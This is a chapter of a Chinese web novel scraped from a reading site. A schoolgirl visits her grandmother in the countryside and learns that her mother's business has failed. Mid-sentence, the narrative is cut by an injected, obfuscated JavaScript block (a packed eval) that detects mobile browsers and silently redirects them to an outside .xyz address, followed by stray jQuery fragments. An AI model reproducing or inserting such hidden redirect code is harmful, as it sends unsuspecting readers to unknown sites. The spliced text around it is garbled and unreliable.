默认冷灰
24号文字
方正启体

8. 消息

作者:清衫做客本书字数:K更新时间:
    晚自习是数学,别朝晚在想要不干脆请假算了。连着明天给自己放一天假。


    而且小县城不好打车,尤其大晚上。


    这几个理由砸下来,别朝晚没道理不请假,下课后径直奔向办公室。


    吴人机眼神里透着不可思议,半晌问她原因,还给别山岚打了通电话,最后神色复杂,把手机和签过字的假条一起给她。


    别朝晚走出办公室,长摁手机开机,微信消息99+的样式很是醒目,点进去发现小装哥一个人就贡献了六十八条。


    她把小装哥大号拉黑了,对方换了小号来骚扰,还让共友拉群疯狂艾特她。搞得其他朋友也一头雾水来问她怎么了。


    “。”她单肩挎着包,一边往校外走,一边回复没事。


    因着过于明目张胆,被路过的学生疯狂张望行注目礼。


    别朝晚对陌生人眼光统统不在意,抄着连廊到隔壁楼下楼,健步如飞风风火火。


    手指在屏幕上飞速打字,指尖连成残影。


    统一回复完她切到打车软件,一气呵成。


    出租车显示要七分钟才能到。


    她站在一楼楼梯口想有没有什么没带。因着忘性大,她习惯于回忆和列计划。之前都是记在手机上,这一周没有手机也没同学搭子,狼狈的生活给她带来血泪的教训。


    什么忘带作业记错时间还不算事,更窒息的是体育课穿短裤凉鞋。被生活反复鞭打后,她仓促跑去文具店买了个小本子用来写待办。


    这次回乡下是临时打算的,别朝晚不确定有没有什么遗漏的。


    出租车的距离顺着路线开来,显示还有一分钟到达。别朝晚把书包往肩上一提,走向晨昏线。


    窗外场景不断变换,万家灯火没有任何分别,只有远处山峦分割的线条崎岖变化。


    “笃笃~”


    陈旧灯光中,别朝晚叩响大门。


    狗吠声伴着凉风袭来。


    昏线完全撤下山头,天上繁星是城市见不到的景色。


    “来了。”万芳的声音隔着厚重大门传来,听得出有一段距离。别朝晚便抱臂倚在石墙上,懒洋洋的。


    木门吱呀作响,有些年头了。


    万芳穿着花色睡衣睡裤,探出头见到朝晚,神色惊喜,把门开出更大的口子,让她快快进来。


    “怎么这个点回来了?用上课不?”


    别朝晚心虚,扯出个笑:“不用了。”


    万芳嘟囔几句,问用不用给她煮点宵夜吃。书包甩在凳子上,别朝晚摇头说不用吃过了,到衣柜拿衣服溜去洗澡。


    在其他学生还在庆幸一周有两节体育课时,别朝晚已经默默把体育课列入课程黑名单了。


    明明汗液已经蒸发,吹过晚风衣服也干了。别朝晚在井边打了半桶水,还是觉得身上粘腻得慌。


    城镇家家户户都用上了热水器,外婆还在用热得快烧水,没有干湿分离也没有花洒。只能烧一壶水用一壶水,热水凉水兑在桶里,用毛巾擦干净身体。


    别朝晚起先的时候特别抗拒,想联系热水器公司来装修,被外婆制止了。她说习惯了,用上新的可能反而不舒服。


    这事就这样不了了之了。


    这么洗了一个月,别朝晚也慢慢接受了。只是偶尔她会想,她们家现在也不缺钱,为什么她妈不给这栋老屋翻修一下呢?至少有一个像样的厕所吧?


    她好几次欲言又止,但像自小常听到的那句“大人的事小孩别管”,她还是没有问出口。


    洗完澡,别朝晚擦着头发走进卧室,外婆躺在床上刷着智能手机直笑。


    吹风机被好好地收在桌肚里,别朝晚探身,指尖触到电线,刚要扯出来。


    算了,等头发自己干吧,反正现在也不睡。


    她把线推回去,握着手机坐到奶白色转椅上,脚丫踩着边沿,另一只脚踢着桌子来回转。


    大数据显然监视她了。首页好几条推送都是“老屋翻修实例”、“家庭是否和谐看老人的生活状态”、“一招教你分析家庭关系”……还夹杂着两条“安装热水器必知”。


    “……”别朝晚犹豫再三点了进去,囫囵看了几篇。又刷了刷评论区的“现身说法”。


    嗯,挺像那么回事的。她在心里点评。


    “外婆,我妈怎么不接你去城里住啊?”她握着手机看向外婆,问道。


    万芳回身看她,还没从视频的剧情里脱离出来,脸上笑意未消:“啊?我住不惯城里哇。你们年轻人的地方,我去多不合适啊。”


    “哦,”别朝晚状似不在意,“我妈没提过吗?”


    外婆笑着说:“提过嘞,咋没提过。”


    别朝晚脚尖一蹬,转椅直接转了一圈半,头转得有点晕。她知道外婆在骗人——城里的房子很大,但还是只装修了两间卧室,好几间空房都陆陆续续变成了功能房。


    别山岚更是从买房起从未提过要接外婆来住。逢年过节她回老家,听人打趣说万芳可以回城里过好日子了,也只是笑笑,闭口不谈。


    某方面来讲,别朝晚对人对事感官很敏锐,关键看她是否在意是否想管。不然万事万物她也只是作壁上观,提不起半点探究的心思。


    或许是这段时间到新环境经历多了,开始浮躁,思绪繁杂起来,她莫名就是想去插手管管“大人的事”。


    “你去跟我妈说一下呗,你去城里,我之后考回去你还能带我。”


    “嗐,你妈现在都忙手忙脚,”万芳一拍大腿,“哪有空管我哟。”


    别朝晚半天没作声,外婆倒是自顾自换了话题。


    “啧,山岚跟你说了不?”万芳像是提到什么晦气事一样。


    “M国佬涨税哟,你妈那个公司现在倒闭关门,不晓得亏了几多。”


    别朝晚神色怔忪。


    这个消息猝不及防,她第一反应是不相信。细细想来似乎都有迹可循。


    怪不得她妈暑假东奔西走总是神色匆匆,少数相处的时间也是在给她部署未来计划。舅舅聊天也欲言又止心事重重。


    她忙追问为什么,外婆说得语无伦次,云里雾里的样子别朝晚估计她也只是听闻一些,对事实不甚了解。


    外婆继续叨叨骂缺德,没有人回她她便继续回去刷手机了。别朝晚愣愣得窝在椅子里,脑中不断循环这通对话的信息。


    M国关税涨了,直接导致公司亏损倒闭。


    现在,她们家欠了银行好多钱。


    市里的房子是四年前买的,买房前别山岚的奔波劳累别朝晚至今记得,她不可能嚣张到觉得亏的钱是小数目。


    夜里万芳关灯睡下了,别朝晚游荡到院子里,面着影壁墙等风把头发吹干。


    白天,别朝晚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460752|185407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    搬了堂屋的实木长凳到院子里,又提了一把塑料矮凳。


    屋里光线不好,外边是没云的阴天,天很白很亮,她一只手手肘撑在长凳上,另一只手写字。


    一离开学校这凳子怎么就哪哪不得劲。她写一会儿就换个坐姿,写到后面干脆一脚踩着矮凳,坐在长凳上抱着书写作业。


    重力弹力摩擦力,别朝晚感觉自己被四面八方的力拉扯着,好不容易稳住身影写完两页,对答案发现错了好几道。


    错的点乱七八糟,那边单位没带进去算,这边想当然了直接算发现题目还有别的条件。


    她唰唰把错的地方改正,快速扫了一遍后直接把书丢出去。


    她力没收着,翻开的物理册子趴在水泥地上,如果它有表情,那可能是一双惨兮兮的眼神幽怨盯着罪魁祸首。


    罪魁祸首表情比它还臭,大马金刀坐在那,一脚踩着长凳一脚蹬着矮凳,侧身翻数学习题的动作暴躁粗鲁。


    让人怀疑现在凑上前是不是会挨上一拳。


    晚上上那个破物理晚自习,各科作业都挨着今天交。别朝晚很不爽地写完了一半。


    天上漂浮着一层霾,剩下的作业散散地落在长凳上,别朝晚爬上院墙,踩着矮墙一步一步绕着院子走。站得不高,但是能看见飘气的烟囱和繁茂的树。


    烟飘呀飘,飘到枝桠顶端弥散开。


    漂浮一段时间后,化作灰尘,跌落下来。


    ——


    打车司机听闻要来农村,纷纷加价,换以前她眼皮都不会抬一下,这次却默默多联系了几个司机。


    二十分钟下来,已经没有司机接这单了。别朝晚吐出一口浊气,打开备忘录找到存的司机联系方式,打了过去。


    “喂?”司机大哥嗓门很大,扬声器还依稀能听见此起彼伏的鸣笛声。


    “那个,我是刚刚万家村那个,你现在方便来接我吗?加价就按之前说好的。”


    “哦哦,”那边传来点动静,大哥安静了一会儿,估计在发动车子,“现在不行啊,我这边接新的单子呢,你稍微等等好吧?我尽快。”


    “哦……好。”别朝晚安静了一会儿,又忙追问,“那还要——”


    ——“嘟嘟”两声,电话挂断。


    “多久啊……”


    别朝晚把包丢在水泥墩上,翻身上了围墙,背靠在墩子和矮墙高度差的地方。


    外边紧挨着围墙的角落枯草稀稀拉拉,远一点青草繁茂起来,再远就是混凝土路面。


    日头变了角度,矮墙的阴影越拉越长。混凝土路面才驶来第一道车辙印。


    别朝晚跳下围墙,拍了拍屁股上的灰尘和小石子。


    “师傅,麻烦快一点,要上课。”她关上后门,冲司机说道。


    “姑娘你上学啊?”司机大惊,踩下油门。


    一路上加足了马力,别朝晚急急忙忙跑上楼,攥着转角扶手一阶并两阶,在三楼楼梯口大喘气。她顺下气平复开来,而后不紧不慢地走在空旷的走廊,卡着上课铃的点走进教室。


    物理老师展着卷子,老花镜后的眼睛看向她:“你也把册子交课代表那去。”


    后排几位同学窝着身子回头看她,笑得促狭。


    更有甚者小声密谋赌王要跌下神坛。


    别朝晚仿佛没看见没听见,径直越过走廊把物理作业递给南谷。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)